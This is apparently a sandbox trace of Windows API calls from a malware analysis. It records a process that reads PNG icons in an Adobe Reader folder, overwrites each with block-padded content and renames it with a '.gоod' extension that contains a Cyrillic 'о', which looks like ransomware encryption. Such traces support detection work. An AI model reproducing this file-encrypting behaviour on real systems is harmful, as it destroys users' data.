lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.357] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0241.359] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0241.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0241.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0241.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0241.359] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images", lpFilePart=0x0) returned 0x70 [0241.359] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0241.360] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.360] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0241.360] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0241.361] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0241.361] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0241.361] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0241.361] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0241.361] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0241.361] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.362] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0241.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0241.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0241.362] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png", lpFilePart=0x0) returned 0x82 [0241.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0241.362] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x37d38a8 | out: lpFileInformation=0x37d38a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab)) returned 1 [0241.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0241.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png", lpFilePart=0x0) returned 0x82 [0241.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0241.364] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0241.364] GetFileType (hFile=0x630) returned 0x1 [0241.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0241.364] GetFileType (hFile=0x630) returned 0x1 [0241.364] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x2ab [0241.364] ReadFile (in: hFile=0x630, lpBuffer=0x37d3f00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x37d3f00*, lpNumberOfBytesRead=0x208ed3f8*=0x2ab, lpOverlapped=0x0) returned 1 [0241.365] CloseHandle (hObject=0x630) returned 1 [0241.881] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png", lpFilePart=0x0) returned 0x82 [0241.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0241.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0241.883] GetFileType (hFile=0x808) returned 0x1 [0241.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0241.883] GetFileType (hFile=0x808) returned 0x1 [0241.883] WriteFile (in: hFile=0x808, lpBuffer=0x3acc118*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3acc118*, lpNumberOfBytesWritten=0x208ed308*=0x2b0, lpOverlapped=0x0) returned 1 [0241.884] CloseHandle (hObject=0x808) returned 1 [0241.884] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png", lpFilePart=0x0) returned 0x82 [0241.884] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png.gоod", lpFilePart=0x0) returned 0x87 [0241.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0241.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8c6420c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b0)) returned 1 [0241.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0241.884] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png.gоod")) returned 1 [0241.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png", lpFilePart=0x0) returned 0x84 [0241.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0241.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png"), fInfoLevelId=0x0, lpFileInformation=0x3acd510 | out: lpFileInformation=0x3acd510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1)) returned 1 [0241.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0241.886] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png", lpFilePart=0x0) returned 0x84 [0241.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0241.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0241.886] GetFileType (hFile=0x808) returned 0x1 [0241.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0241.886] GetFileType (hFile=0x808) returned 0x1 [0241.886] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x4a1 [0241.886] ReadFile (in: hFile=0x808, lpBuffer=0x3acdd70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3acdd70*, lpNumberOfBytesRead=0x208ed3f8*=0x4a1, lpOverlapped=0x0) returned 1 [0242.083] CloseHandle (hObject=0x808) returned 1 [0242.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png", lpFilePart=0x0) returned 0x84 [0242.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0242.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0242.880] GetFileType (hFile=0x834) returned 0x1 [0242.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0242.880] GetFileType (hFile=0x834) returned 0x1 [0242.880] WriteFile (in: hFile=0x834, lpBuffer=0x39ea690*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x39ea690*, lpNumberOfBytesWritten=0x208ed308*=0x4b0, lpOverlapped=0x0) returned 1 [0242.884] CloseHandle (hObject=0x834) returned 1 [0242.914] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png", lpFilePart=0x0) returned 0x84 [0242.914] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png.gоod", lpFilePart=0x0) returned 0x89 [0242.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0242.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8cfcab35, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b0)) returned 1 [0242.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0242.914] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png.gоod")) returned 1 [0242.916] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x83 [0242.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 